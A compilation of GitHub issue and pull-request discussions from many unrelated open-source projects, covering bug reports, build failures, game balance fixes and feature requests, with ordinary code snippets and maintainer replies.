Look into why the renamer is throwing an NRE. TypePrimeCandidate is null.

Originally written by Cj

This issue was previously closed on Gitea, closing.

authors: CJ-SPT refringe

repo: sp-tarkov/assembly-tool


text:
Fix installation via Yarn - issue #157

I also removed the main key in package.json because it seemed to be bogus (there is no index.js), and renamed spago to spago.exe in files, to match the actual file name.
PR checklist:

[ ] Added a test for the contribution (if applicable)
[ ] Updated the version number in package.yaml according to SemVer (0.x.y.z, x changes on breaking changes, y on additions, z on patches)
[ ] Added some example of the new feature to the README

(I didn't do any of the PR checklist stuff - do I need to for this change?)

@Dretch the only applicable item from the checklist is bumping the version to 0.7.5.0 in package.yaml

Thanks @Dretch!

authors: Dretch f-f

repo: spacchetti/spago


text:
Rebalance damage

Similar to #375
We need to rebalance the damage values in the game. This includes the damage inflicted by all sorts of weapons, the damage it takes to destroy certain entities, etc.

Not sure if this should be a separate issue or if it fits under here but you can currently crit yourself by touching a lightbulb too much as it damages your entire body instead of just your hand.

authors: ElfEars Zumorica


text:
Roundend / lobby should show what song's playing

IDR if lobby does but roundend should (suggested by qwertyquerty).

song name: darude sandstorm for april 1th

authors: deltanedas metalgearsloth


text:
Tesla Engine's Ball Lightning can be pushed by explosions when loose.

Description
When the Tesla Engine malfunctions (or is sabotaged) and the ball lightning is let loose, it can be pushed by explosions that it creates, allowing it to travel in erratic directions that are likely unintentional and far more chaotic than otherwise designed for.
Reproduction
Create a Ball Lightning and cause explosions near it. Follow it with ghost, and you can see it gets kicked very far at enormous speeds before its movement code takes control again.
Screenshots
None taken.
Additional context
It's already an extremely destructive element, but the explosions can cause it to travel from one end of the station to the other in about a second - which is definitely worse than the singularity.

I'll probably try and tackle this tomorrow.

should be a feature

Definitely gets screwy when it blows up O2 tanks and things. Watched it clear half of Barratry in under a second and draw a massive line across the whole thing.

there should be a way to clamp the force from explosions, so the ball can be pushed a little but not flung at mach 8

authors: DrMelon Ilya246 deltanedas


text:
Fixes hallelujah.ogg

About the PR
Fix #22641
We are currently dealing with what seems to be an Nvorbis issue where some .ogg files are somehow broken, freezing the client when trying to stream it. Weird, since it can be opened normally from explorer.
Somehow replacing the .ogg file with a new one fixes the problem.

[X] I have added screenshots/videos to this PR showcasing its changes ingame, or this PR does not require an ingame showcase

ogg opus undefeated champion

smaller filesize
presumably no error if supported

Your words elude me, mister

ogg opus undefeated champion
* smaller filesize

* presumably no error if supported

I actually looked into this. Opus did not have that big of a filesize difference (unless my mass vorbis to opus ffmpeg script sucked ass. It made some files smaller and others bigger). And I'm unsure about the error claim

I encountered the same problem, causing the server to lie on its side for more than 6 hours. And I personally spent 3 hours looking for what the problem was, rolling back each of my commits.

authors: Mirino97 VasilisThePikachu VigersRay deltanedas


text:
Fix iron/copper being overtuned (infinite blood exploit!)

About the PR

Reverts copper and iron's blood restoration from 1u = 40u to 1u = 4u
Why / Balance

This was unintentionally buffed when spiders were changed to no longer use iron as a blood restoring reagent. Because metabolism rate was reduced, more ticks of metabolism happen, and each time it does, the effect is applied. This can result in a player essentially having infinite blood as long as they kept iron in their system.
Note: This does nerf these reagents unfortunately. Saline is a much better chem to use now though at least!
Another way this can be resolved is increasing the metabolism rate, if that is preferred instead. It should keep the general balance the same.
Changelog
:cl: Whisper

fix: Iron and copper no longer grant infinite blood!

me when i can't give myself iron to become immune to bleeding

authors: QuietlyWhisper notquitehadouken


text:
Design user control over api facades

We need to figure out how to enable node users to enable and disable specific api facades independently via GRPC. We need to research what is the best way to do this. We are likely not the first ones who came across this problem. Ideally we'll be able to do this while still having 1 GRPC endpoint tied to a specific port.

It's definitely possible to attach multiple grpc services to a single server instance. Here's one example in golang: https://stackoverflow.com/questions/52634217/access-multiple-grpc-services-over-the-same-connection/52635877.
Therefore I propose that we implement each facade as a separate service, and selectively turn the services on and off using commandline flags.
Good?

yes. So we have a solution to dynamically enable or disable services which is what we needed.

The work will be done in go-spacemesh. Closing in favor of spacemehsos/go-spacemesh#1983.

authors: avive lrettig

repo: spacemeshos/api


text:
Use broker to query sync state

Motivation
We let the hare wrapper query for sync state directly.
This was done temporarily in order to have better logs.
The better way to do this is to ask the broker for sync state instead.
Closes #1745
Changes
Hare wrapper does not query sync state.
Broker exposes a query to answer sync state.
Test Plan
Added UT for the broker.

bors try

bors try

bors merge

repo: spacemeshos/go-spacemesh


text:
get workspace from $TF_WORKSPACE if defined

it's possible to select workspace over $TF_WORKSPACE environment variable,
so we should show it.
see https://github.com/hashicorp/terraform/issues/15874

Thanks for the PR @hd-deman. From the thread you linked, looks like TF_WORKSPACE was intended to be used with automation and documentation discourages use of it in local environment.
From https://learn.hashicorp.com/terraform/development/running-terraform-in-automation ,

Using this environment variable is recommended only for non-interactive usage, since in a local shell environment it can be easy to forget the variable is set and apply changes to the wrong state.

Pinging previous contributors,
// @pabloxco @anoff @bacoboy

Closing due to no response

authors: denysdovhan hd-deman salmanulfarzy

repo: spaceship-prompt/spaceship-prompt


text:
Space-cli auto apply should add default db & prepared query rules

Describe the bug
Expected behaviour
Actual behaviour
Steps to reproduce
Your environment

Space Cloud version:
OS:
The client api version (if applicable):
Browser (if applicable):

If this bug restricts your use of space-cloud, give it a thumbs up reaction, so that we can determine which bugs need to be fixed immediately.
👍

Fixed in #1047

repo: spaceuptech/space-cloud


text:
Feat/admin preparing agenda UI

Feat/admin preparing agenda UI 개발

repo: sparcs-kaist/biseo


text:
Exception Status Code: 404, AWS Service: Amazon S3, when filtering result of dataframe is zero

After querying redshift, i have a dataframe with only one record
+------------------+--------------------+-------
|         accountid|         accountname|rangeid
+------------------+--------------------+-------
|00139|Arizona Public Se...|   null
+------------------+--------------------+-------
If i do filiter to count non empty/non null of accountid. It's OK.  I got expected result 1
If i do filiter to count non empty/non null of rangeid. It's NOK.  I got unexpected result. Exception

: com.amazonaws.services.s3.model.AmazonS3Exception: Status Code: 404, AWS Service: Amazon S3, AWS Request ID: CFAC029B1646FCAF, AWS Error Code: NoSuchKey, AWS Error Message: The specified key does not exist., S3 Extended Request ID: jhq1m9AxK2iE1ICqTaqheieXOT3xbJb9j8nB2FDVo3gAN+CegbOdKcL+sBYjp73XQd2rS6wOOTY=

It happens the same for the zero result when filtering.
Code:
df.filter(df[column].isNotNull() & (df[column] != "")).count()
Even i don't use count() but show(), i still get same error.
5 days ago, my code run OK. But now it throws exception.
If i save the data frame to file in local and read from it, It works well. But because i need to count this metric of the dataframe getting from redshift and compare with the metric of dataframe getting from a saved file, i still need to count directly from the data frame getting from redshift.
Now, i'm trying to try/catch to assign value 0 when getting exception, but actually, it's not a good way.

Please check #40, this is a duplicate

I want to circle back to give some feedback to this issue.
One of our teams in Yelp were affected by this problem (empty result set) as well. After upgrading their Redshift cluster to version 1.0.10936, the problem has gone away. Redshift has various version based on region, I think you need at least version 1.0.10880 or above.

authors: duyetmai lucagiovagnoli smoy

repo: spark-redshift-community/spark-redshift


text:
Add Batch Processing Functionality

Right now the augmentation pipeline process single image at one time, it will be better if there's a batch processing function to process multiple images at one time.

Do you mean something like this?
img1 = cv2.imread('image1.png')
img2 = cv2.imread('image2.png')
img3 = cv2.imread('image3.png')

pipeline.augment([img1,img2,img3])

Yes, so the pipeline should run across multiple images and generate randomize effect on each image.

@kwcckw Can you elaborate on the interface signature that is needed to fulfill this requirement?  Also, is there anything needed here to make Augraphy work better with other pipelines such as PyTorch or TensorFlow, etc?

I think it could be similar with imgaug where the augmentation pipeline is able to accept batches of images. In their example, their pipeline is able to receive multiple images and process them in a single pipeline:
https://imgaug.readthedocs.io/en/latest/source/examples_basics.html
Right now Augraphy accept only colored image (ysize, xsize, channels) or grayscale image (ysize, xsize). We can have another preprocessing step to check if the input format is multiple images and apply the pipeline sequentially. Typically those multiple images input format can be in (number_images, ysize, xsie, channels) or a list contains multiple colored or grayscale images.
To allow Augraphy work better with Pytorch and Tensorflow, I think we will need to test run it by having Augraphy pipeline in those deep learning frameworks' dataloader. We can further improvise Augraphy if there's any issue or problem by running Augraphy pipeline in their dataloader. Then, we can include some examples on the steps to use it in our doc too, similar with Albumentations:
https://albumentations.ai/docs/examples/tensorflow-example/
https://albumentations.ai/docs/examples/pytorch_semantic_segmentation/

@kwcckw I see #267 mentions implementation of batch processing in the pipeline.  Does this fully address the concerns raised in this issue?  Is there any new documentation or examples that can show how this can integrate with a dataloader for one of the DNN frameworks?

@kwcckw I see #267 mentions implementation of batch processing in the pipeline. Does this fully address the concerns raised in this issue? Is there any new documentation or examples that can show how this can integrate with a dataloader for one of the DNN frameworks?

Yes, but the integration with deep learning will be tested and implemented on the next step. Right now we support batches of images, they can either in list of images or 4D images. I added examples here:
https://github.com/sparkfish/augraphy/blob/dev/examples/Augraphy_usage_examples.ipynb

authors: jboarman kwcckw proofconstruction

repo: sparkfish/augraphy


text:
Archetype 9

To verify Augraphy's utility, we need to reproduce the document in this notebook.
There are some notes about the effects present in the document, as well as some suggested augmentations you might need when reproducing it. These lists are not exhaustive; you may need to use more, or less, to achieve a faithful reproduction.
We can discuss the reproduction process for this document in this Issue. Discussion about this project in general should go here.

Here's the latest output from the notebook:
Reference image:

Augmented image:

Closed with PR #154

authors: kwcckw proofconstruction


text:
Error in read distance example

Pretty sure the following line in the ReadDistance example
 if (distanceSensor.begin() == true)
should read
if (distanceSensor.begin() == false)
since begin() returns 0 on success.

Nice catch @DanRosenfeld I think I'll change it to == 0 so it isn't as confusing

Fixed in v1.1.6, Thanks!

Super--glad to help.


text:
Use camel case

Documentation

[ ] Documentation

Camel Case

[x] Function

[x] names
[x] argument names
[x] signature

[x] Port names
[x] Type alias record keys
[x] Let..in variables
[x] Case variable names
[x] Lambda argument names
[x] Ignore destructured record keys

Pascal Case

[x] Module names
[x] Import alias names
[x] Custom type

[x] names
[x] value constructor names

[x] Type alias names
[x] Ignore imported module names

Options

[x] Configurable convertors

ToCamel
ToPascal

The two errors from elm-anaylse are both for Phantom types - they should not be constructed so this is fine.

repo: sparksp/elm-review-camelcase


text:
Fix lookup payment status and bump version

This change fixes a reference to an enum returned from LND, and since it was successfully tested, subsequently version-bumps the package to beta-rc1.

@treygriffith a previous PR added beta-rc1 so you might have conflicts? but this LGTM

authors: dannypaz treygriffith

repo: sparkswap/lnd-engine


text:
Sphinx documentation build fails with TypeError

I have been using the nbsphinx extension for quite a while now to build documentation for a Python package on readthedocs.
Very recently builds started to fail with the following error:
TypeError: the JSON object must be str, not 'StringList'

Exception occurred:
  File "/usr/lib/python3.5/json/__init__.py", line 312, in loads
    s.__class__.__name__))
TypeError: the JSON object must be str, not 'StringList'

The full traceback and all other relevant information can be found here.
I have not changed any relevant source code since the last successful build.

Hmmm, this is quite strange.
I assume it works fine when you create your docs locally?
Probably we can find out what's going wrong if we find out how this StringList looks like.
Can you make an experimental branch of your repository and add the following to your conf.py?
import nbsphinx

def fake_parse(self, inputstring, document):
    print('inputstring for', document.settings.env.docname)
    print(inputstring)

nbsphinx.NotebookParser.parse = fake_parse

When you run this branch on readthedocs, we can hopefully see in the logs how this mysterious StringList looks like ...

@mgeier I added the above snippet to my conf.py, this is the result:
https://readthedocs.org/projects/signac/builds/7276519/
The privacy level for this branch is 'protected', because of that I also attached the log as text file, in case that you can't open it.
7276519.txt

mhh uft/json ..are you building on windows env?
https://bitbucket.org/glotzer/signac/src/8703eb992d3ff0741a8976b90fdda875b3cb460c/doc/signac_105_Command_Line_Interface.ipynb?at=master&fileviewer=file-view-default
some chars Line 151 ? breaks the json templating..
for a test only one ipynb at the time to the  readthedocs.

@rddaz2013 I don't know what systems readthedocs uses to build the documentation.
I've run two additional tests with only one noteobok enabled:

Mock parsing disabled: https://readthedocs.org/projects/signac/builds/7281159/ 7281159.txt

Mock parsing enabled: https://readthedocs.org/projects/signac/builds/7281172/ 7281172.txt

I want to reemphasize that I built the exact same docs (and notebooks) on reathedocs without any issue many times before this problem first occurred, so I would be surprised if the fact that some of them contain UTF-8 chars has anything to do with this. Unless nbsphinx is not handling unicode correctly anymore or readthedocs switched to a different OS. On the other hand, I'm building with cPython3 so that would be surprising either way.

thats like #127 / #247
thats not the json error "with the TypeError: the JSON object must be str, not 'StringList'."?
you are using nbsphinx==0.2.11 ?? (see  7281172.txt Line 200)  from 19 Nov 2016
install the github version!

@rddaz2013 Thank you for noticing that! I did not realize that I had fixed the nbsphinx version in the doc/requirements.txt. I can only assume that I had some regression issue in the past or should have used >= instead of ==.
I am now specifiying nbsphinx>=0.3 which solves the issue. For the record, the default version installed within the readthedocs build environment is not sufficient.

authors: csadorf mgeier rddaz2013

repo: spatialaudio/nbsphinx


text:
Question: How to Implement a "PTT" based on events

Hi!, first, thx for your work!, i have some code that works with pyaudio that i wanna port to sound device works in this way:
PTT= Push to Talk
i have an Input Stream that:
1_ User press button "record" from a QT GUI, that trigger "streamInput.start_stream()"
2_ The stream Input start to record to an a var that then i send over a udp socket
3_ User release the button "record" from GUI, that trigger "streamInput.stop_stream()" that finish that record
it's possible to do something similar in sounddevice? (i dont find any way to start and "pause" a stream) BTW, for now i do this:
def start_record():
global myrecording
myrecording = sd.rec(60 * fs, samplerate=fs, channels=2, dtype='float64')
def stop_record():
sd.stop()
works in a pretty same way (except for that limit to record, that shouldn't be much problematic, it's a PTT, it's made for make short comunications between interlocutors)
Thx!

It sounds like you've implemented what you wanted with sounddevice. What's the issue? Is there some functionality you're missing?

Yeah, works :P but perhaps you know another way or better way to implement that :D

Well, without knowing your limitations I don't know how I can help ¯\_(ツ)_/¯

@x11tete11x
The sd.rec() function is meant to be really quick and simple to use, but it is not very flexible. You have to specify the duration of the recording beforehand, and if you call sd.stop(), you get an array which is only partially filled with meaningful data, the rest is garbage (and you don't know exactly where the meaningful data ends).
If you need more flexibility, you should implement your own callback function (similar to how you would do it with PyAudio).
Within your callback function you could wait for your trigger, and once it comes in, you can start sending/receiving data via UDP.
You should probably use a queue for transporting the audio data in order to avoid blocking the audio callback if the UDP communication needs some extra time. You can have a look at the example applications for how to use a queue.
Apart from that, as @tgarc said, if you need more help you should provide more details about what you want to achieve.
Just out of curiosity: If you already have working code for PyAudio, what's the reason to port it?

@mgeier Thx for clarify!, then i will looking how to implement my callback function
The reason to switch from pyaudio to sounddevice is because pyaudio under certains circunstances give me "alsa underruns" that chop my audio, and other audio problems, look at this https://github.com/raspberrypi/linux/issues/994 then few people say that switching to sounddevice all problems gone, so i wanna try

authors: mgeier tgarc x11tete11x

repo: spatialaudio/python-sounddevice


text:
show properties in view

Hello,
I want to display properties in my view but with a comprehensive visual for customer :
In my view :

    @foreach($activity as $activities)
    {{ $activities->description }}
{{ \Carbon\Carbon::parse($activities->created_at)->format('d-m-Y') }}
{{ $activities->properties  }}
    @endforeach

But  $activities->properties give : {"attributes":{"projectStatus_id":4},"old":{"projectStatus_id":4}}
How transform this into a comprehensive visual ?

It's a collection so you can loop over it. An idea is to access the top level keys and loop over the sub-array to list all changes.

After many difficults with my co-worker, we found an issues :
$activity = Activity::where('subject_id', $project->id)->get();
$arr = [];
foreach($activity as $activities) {
$properties = $activities->properties->toArray();
$subArr['attributes'] = $properties['attributes']['projectStatus_id'];
if (isset($properties['old'])){
$subArr['old'] = $properties['old']['projectStatus_id'];
}
array_push($arr, $subArr);
}
Ps : $collection->attributes / items doesn't work...

First of all your variables are named wrong. The $activity should be $activities and the $activities should be $activity. You switched the singular plural - kind of confusing. 😉
And what's your issue? At first sight everything looks good and I can't see at which place you would try to use $collection?

I changed variables's name but i have another problems in view.
I separated $activity with the new array $arr so i have difficult to put this in table.
They do not coordinate...
Controller :
$activities = Activity::where('subject_id', $project->id)->get();
$arr = [];
    foreach($activities as $activity) {
      $properties = $activity->properties->toArray();

      $subArr['attributes'] = $properties['attributes']['projectStatus_id'];
      if(isset($properties['old'])){
        $subArr['old'] = $properties['old']['projectStatus_id'];
      }
      array_push($arr, $subArr);
    }

    return view('pages.backoffice.partials.projectDetailsHistory', [
      'project' => $project,
      'activities' => $activities,
      'status' => $status,
      'arr' => $arr
    ]);
    break;

In my view :

Date
Type d'événement
Détails

        @foreach($activities as $activity)

{{ \Carbon\Carbon::parse($activity->created_at)->format('d-m-Y') }}
{{ $activity->description }}
        @endforeach
        @foreach($arr as $log)
            @isset($log['old'])
                Passage du statut "{{ $status[$log['old']]->name }}" au statut "{{ $status[$log['attributes']]->name }}"
            @else
                Passage au statut {{ $status[$log['attributes']]->name }}
            @endisset

        @endforeach

I want to show properties in table depending to the name and date of activity

Ok, and your current issue is that it shows all changes of all activities in the table?
Why don't you use $activity->properties in your view?
@foreach($activities as $activity)

    {{ \Carbon\Carbon::parse($activity->created_at)->format('d-m-Y') }}
    {{ $activity->description }}
    @isset($activity->properties['old']['projectStatus_id'])
        Passage du statut "{{ $status[$activity->properties['old']['projectStatus_id']]->name }}" au statut "{{ $status[$activity->properties['attributes']['projectStatus_id']]->name }}"
    @else
        Passage au statut {{ $status[$activity->properties['attributes']['projectStatus_id']]->name }}
    @endisset

@endforeach

Oook !
I tried with $activity->properties->attributes...
I did not realize that they used this like this...
As the properties as collection with object, i did'nt use that like array
I'm just starting with Laravel ^^"
Thank You, it's works :)

You will have to use it like an array - it implements ArrayAccess interface or use the dedicated methods like get() in your case.
You could also use data_get() helper function https://laravel.com/docs/5.8/helpers#method-data-get to use dot.notation.keys and also have a simple default value to don't care about isset() or ?? yourself. In your case not easier because you don't need a fallback value but want to change the whole surrounding text.
As a hint: use translations from the beginning and everywhere. This will make it lot easier if you need to translate sometimes but also separates your views from language aware content. You can also pass parameters to translation strings to display dynamic content in it.
https://laravel.com/docs/5.8/localization#replacing-parameters-in-translation-strings

authors: Gummibeer Lolisicat

repo: spatie/laravel-activitylog


text:
Fix type inference and code generation for typeclasses and numpy types

Fixes #1710
Supersedes #1721

LGTM.
Thanks a lot for the fix! I can confirm that the patch solves my bug (I find it a bit difficult to track down how the patch affects the transform, but I think that's alright).

LGTM. Thanks a lot for the fix! I can confirm that the patch solves my bug (I find it a bit difficult to track down how the patch affects the transform, but I think that's alright).

Specifically, it's this code: https://github.com/spcl/dace/pull/1725/files#diff-1081d65d9e2d7faf4c58d18c8652e775fb685d35ae6d4bf2e1f1234429210126L37
It would return the numpy type instead of the typeclass

authors: pratyai tbennun

repo: spcl/dace


text:
Submit New License tool: add question re: OSI

Can we add a question as follows:
"Have you submitted this license to the OSI or are you planning to? (if yes, use comments to explain)"
with a yes/no option

posted in wrong place, moved to https://github.com/spdx/spdx-online-tools/issues/66

repo: spdx/tools


text:
feat(revit): Add support for Sloped Glazing and some other categories

Description
As reported by Fabiana_Ilari on our community:
Some categories from Revit are missing in the viewer:

[ ]  Sloped Glazing
[ ]  Chimney Pots (category ?)
[ ]  Decorative Columns (category ?)
[ ]  Model Lines

File containing the problematic elements was shared with @connorivy via PM. If any categories are missing on send, they should be supported.
Screenshots

Fixed here -> https://github.com/specklesystems/speckle-sharp/pull/1831

authors: bimgeek connorivy

repo: specklesystems/speckle-sharp


text:
fix(Autocad) - Polycurve Validations

Description & motivation
Create conditional to not convert polycurve without segments

Changes:

To-do before merge:

Screenshots:

Validation of changes:

Checklist:

[ ] My pull request follows the guidelines in the Contributing guide?
[ ] My pull request does not duplicate any other open Pull Requests for the same update/change?
[ ] My commits are related to the pull request and do not amend unrelated code or documentation.
[ ] My code follows a similar style to existing code.
[ ] I have added appropriate tests.
[ ] I have updated or added relevant documentation.

References

Btw these should be reported DUI2 instead of having exceptions thrown!

authors: clairekuang phliberato


text:
How to do inference after training a MetricGAN+ ?

Hi,
I've reproduced the result from the recipe of MetricGAN+. Great work!
And the easy-inference function on HuggingFace also works perfectly when source=speechbrain/metricgan-plus-voicebank.
So the question is how do I load the trained model from disk? There seems to be a problem when I try to use the SpectralMaskEnhancement.from_hparams() function  by the ckpt file and the hyperparams.yaml saved by train.py.
Can you provide a snippet to do inference from custom training MetricGAN+?
Really appreciate your help with this situation.

Hi,
the inference hyperparameters are different from the training one. We wrote a tutorial to describe how to use the inference interfaces with your models.  The hparam file in the metricgan+ HF repo could be a good starting point to check for you.

repo: speechbrain/speechbrain


text:
Can NOT speed up with DDP

Hi
I can not speed up training with DDP for recipes/WHAMandWHAMR/enhancement/train.py. My DDP command line is:
python3 -m torch.distributed.launch --nproc_per_node=4 --master_port 6666 train.py hparams/sepformer-whamr-16k-DM.yaml --data_folder /workspace/cpfs-data/Workstations/speechbrain/recipes/WHAMandWHAMR/data/whamr --base_folder_dm /workspace/cpfs-data/Data/wham/wsj0/si_tr_s/ --rir_path rir_wavs --distributed_launch --distributed_backend='nccl'

Compare to:
python3 train.py hparams/sepformer-whamr-16k-DM.yaml --data_folder /workspace/cpfs-data/Workstations/speechbrain/recipes/WHAMandWHAMR/data/whamr --base_folder_dm /workspace/cpfs-data/Data/wham/wsj0/si_tr_s/ --rir_path rir_wavs

DDP mode cost almost the same time.
Could you help to check this issue?
Thank you!

Hi @Samuele Cornell, @Cem Subakan
I found the reason that makes DDP do not work:
https://github.com/speechbrain/speechbrain/blob/develop/recipes/WHAMandWHAMR/enhancement/dynamic_mixing.py#L216
Can you tell me the reason you wrap train_data with torch.utils.data.DataLoader?
Thank you

Hi, your tag did not work so I ve missed this issue sorry, thanks to @anautsch that pinged me.
Does it happens only with Dynamic Mixing ? Or also with the plain recipe ?

Also, @poor1017 , do you see the same behavior with WSJ0Mix recipe also?

@popcornell Only with Dynamic Mixing, because with DM, you use torch.utils.data.DataLoader to cover sb.dataio.dataset.DynamicItemDataset
@ycemsubakan I have not tried WSJ0Mix.

Samuele, could you please take a look at it?
On Fri, Aug 5, 2022 at 4:39 AM poor1017 @.***> wrote:

Hi @Samuele https://github.com/Samuele Cornell, @cem
https://github.com/cem Subakan
I found the reason that makes DDP do not work:
https://github.com/speechbrain/speechbrain/blob/develop/recipes/WHAMandWHAMR/enhancement/dynamic_mixing.py#L216
http://url
Can you tell me the reason you wrap train_data with
torch.utils.data.DataLoader?
Thank you
—
Reply to this email directly, view it on GitHub
https://github.com/speechbrain/speechbrain/issues/1517#issuecomment-1206196147,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AEA2ZVWYYNV63JYVH3KKM43VXTHKXANCNFSM54VKF5QA
.
You are receiving this because you are subscribed to this thread.Message
ID: @.***>

Hello, I believe that this issue is related to #1802 and should be solved in #2010.

Closing this issue as #2010 is merged in develop.

authors: Adel-Moumen mravanelli poor1017 popcornell ycemsubakan


text:
handle ambiguous contractions in negate

fixes https://github.com/spencermountain/nlp_compromise/issues/51

nice.

authors: redaktor spencermountain


text:
System global state is used for project specific actions

The current method for building the files list is Configure Export then Make File List. The configure export asks the user questions about how the file list should be created, and then stores it in state which is used in any following calls to the Make File List action, no matter which project the File List is for. If the user calls the Make File List action without calling the Configure Export action first, it will use the configuration from the last time the Add-in was used.
To illustrate this problem, if you checkout commit 521e6e9 (the latest commit on master), and then use the Add-in straight away, the ImportFrom and ExportTo fields are populated with the values "C:\Users\spenc\gitrepos\MHC Insight". I am assuming this a directory in @spences10's computer.
Here is some ideas for how to solve the problem:
Have the user prompted for configuration when Make File List is called. Then no state has to be stored in the Excel file at all. It will also make the user's life easier.
For the configuration option currently labelled "List components in 'CondeExportFileList.conf file", the Add-In still has to figure out where the configuration was stored, in a module or in a file. To solve this, there is a few reasonable options I can think of:

Just search for the module 'modFileList', if that's not found then search for the file 'CodeExportFileList.conf'. (Or the other way around).
Have the Add-In only use one or the other.

Here is an extreme idea: Don't have any configuration.
I don't see a use for the ImportFrom and ExportTo configuration values. Typically, development of a bunch of interdependent files (like VBA files + Excel file) happens in a project folder where the relative location of these files in the project directory stay the same. However you cannot assume anything about the absolute path of the project folder and therefore relative file paths are most suitable. If we take the KISS approach, we can assume that all the VBA files are in the same directory as the Excel file and then we just need a list of files. See issue #4.
As for the configuration of whether or not to use CodeExportFileList.conf. Always use the config file. A good default is better than configuration. The CodeExportFileList.conf has the advantage over the module of being plain text. If I browse a project directory I can quickly inspect CodeExportFileList.conf with any tool I want (e.g. on github).

Just to add to the last paragraph, a down side of CodeExportFileList.conf is that it would not allow to have two CodeExportFileList.confs in one directory. This may not be too difficult to solve though.

Thanks for the Input @mattpalermo I am in the process of removing this functionality as it adds no value I was of the two options you suggested going with.

Have the Add-In only use one or the other.

The original set up was to have a module left behind listing out what needed to go back in to make up the project but I didn't like how this felt.
Soon after finishing the latest enhancements I realised that there was no need for two option 😕

That's good that you feel the same way. Actually, I am just about to push a commit which simplifies the situation. I hope we haven't both done the same thing :*)

I think all I have managed was what's in the Dev branch 😌  I look forward to your PR 👍

Have a look at https://github.com/mattpalermo/VBA-IDE-Code-Export/tree/noconfig
I will update the README a little bit and then do a PR.

Got the PR thanks, my you have been busy 😁 I'll build it and feedback 👍 looks good from my mobile phone screen 🤓


text:
Panic on invalid shortcode template

I'm running Hugo HEAD and Go 1.5.1.  Given the following shortcode undef.html:
{{ $v = .Get 0 }}

And the following content:
{{% undef test %}}

I get a panic:
sh$ hugo
ERROR: 2015/11/14 template: theme/shortcodes/crash1.html:1: undefined variable "$v"
panic: runtime error: invalid memory address or nil pointer dereference
[signal 0xb code=0x1 addr=0x20 pc=0x4bf7c3]

goroutine 54 [running]:
github.com/spf13/hugo/hugolib.isInnerShortcode(0xc82023c600, 0x0)
        /home/user/src/github.com/spf13/hugo/hugolib/shortcode.go:174 +0x133
github.com/spf13/hugo/hugolib.extractShortcode(0xc82004d8b0, 0xc82000d000, 0x7f2e85849800, 0xc820012a80, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, ...)
        /home/user/src/github.com/spf13/hugo/hugolib/shortcode.go:346 +0xe8d
github.com/spf13/hugo/hugolib.extractShortcodes(0xc82000dc00, 0x3b6, 0xc82000d000, 0x7f2e85849800, 0xc820012a80, 0x0, 0x0, 0x0, 0x0, 0x0)
        /home/user/src/github.com/spf13/hugo/hugolib/shortcode.go:430 +0x84e
github.com/spf13/hugo/hugolib.extractAndRenderShortcodes(0xc82000dc00, 0x3b6, 0xc82000d000, 0x7f2e85849800, 0xc820012a80, 0x0, 0x0, 0x0, 0x0, 0x0)
        /home/user/src/github.com/spf13/hugo/hugolib/shortcode.go:253 +0x9d
github.com/spf13/hugo/hugolib.(*Page).ProcessShortcodes(0xc82000d000, 0x7f2e85849800, 0xc820012a80)
        /home/user/src/github.com/spf13/hugo/hugolib/page.go:884 +0x9c
github.com/spf13/hugo/hugolib.markdownHandler.PageConvert(0x0, 0x0, 0x0, 0xc82000d000, 0x7f4a53e64000, 0xc820012a00, 0x0, 0x0, 0x0, 0x0)
        /home/user/src/github.com/spf13/hugo/hugolib/handler_page.go:59 +0x7e
        ...

Upon looking into the code to try to find a fix, I considered adding the following at shortcode.go(346):
if tmpl.Tree == nil {
	return sc, fmt.Errorf("Template for shortcode '%s' failed to compile for page '%s'", sc.name, p.BaseFileName())
}

That fixes the panic, but the resulting page is render truncated at the point where the broken shortcode was referenced.  The same result can happen at line 343 if an undefined shortcode is referenced.  That's an acceptable result, I think.  However, the result is that the truncated page.Content is not rendered as Markdown and instead the raw Markdown syntax is output into the rendered HTML.  So, I stumbled onto another issue: that being the unfriendly way that the page renders if an erroneous shortcode reference is made.  I would rather see the broken shortcode reference result in no output and the remainder of the Content (or at least the truncated Content) be rendered as Markdown.

I have discussed this before:
This isn't Internet Explorer: If you have ERRORs in your log, you have a broken site: Fix it!
So the most important thing is to not panic, but give a detailed enough error message to it's easy to fix.
There are a number of situations in Hugo where we just bail out of further rendering. This particular error situation may be recoverable in a better way, but I wouldn't spend too much time on it.

That said, I'm a little bit curious about why your "return error" isn't handled better.

Closes this as the panic is gone.

authors: bep moorereason


text:
Command Package test coverage increase

Hi!
I started to increase coverage in command package. Hugo.go's current coverage is at 49.5%.
I would like to request a little review before I continue on to cover more parts of hugo.go which will be the other 40% or so.
Thanks,
Gergely.

Interesting. I did squash my commits, but it created a pull out of 9 commits instead of the squashed one.


text:
docs: Add multilingual alias example

Resolves https://github.com/spf13/hugo/issues/2452.

Thank you for submitting the example. Merged as 56afd943a8451feec3d2230ed5cbae1701c2be62.

authors: digitalcraftsman mitchchn


text:
type = param['schema']['type'] breaks in newer spec

PROBLEM:
In the newest spec and pydantic capability you can give multiple types for validation.  When I do a make html this breaks as there is not type key under param['schema'].  Rather you now have anyof as a key and a list of types of which a type might have a format as an alternative.
In file sphinxcontrib/openapi/openapi30.py, starting on line 270
for param in filter(lambda p: p['in'] == 'path', parameters):
        yield indent + ':param {type} {name}:'.format(
           type=param['schema']['type'],
           name=param['name'])

This can be changed to the following to fix:
for param in filter(lambda p: p['in'] == 'path', parameters):
        if 'type' in param['schema'].keys():
            dtype = param['schema']['type']
        else:
            dtype = set()
            for t in param['schema']['anyOf']:
                if 'format' in t.keys():
                    dtype.add(t['format'])
                else:
                    dtype.add( t['type'])
        yield indent + ':param {type} {name}:'.format(
           type = dtype,
           name=param['name'])

This then gives an output of
Parameters      componentid ({'uuid', 'integer', 'string'}) –

Resolved via https://github.com/sphinx-contrib/openapi/pull/143

repo: sphinx-contrib/openapi


text:
fix: scanAll typo

Thanks for contributing!
Notice:

[ ] unite test or E2E test
[ ] do not forget essential code comment and log
[ ] document for the PR
[ ] release note label
"release/none"
"release/bug"
"release/feature"
[ ] read about  Contribution notice: https://spidernet-io.github.io/spiderpool/latest/develop/contributing/

What issue(s) does this PR fix:

Fixes #
Special notes for your reviewer:

统一 纠正 更多后，再合入

统一 纠正 更多后，再合入

等待更多类似问题纠正后再合入。

authors: ty-dc weizhoublue

repo: spidernet-io/spiderpool


text:
May cause crash

图1出现了两次异常,都是由c++层在不同帧调用的,逻辑上并没有直接关系.
但进行图2的修改后,第二个异常就不会再出现.

从调用堆栈看,是在gc 的 collect 出现的异常.
你们平时用python会disable gc么?

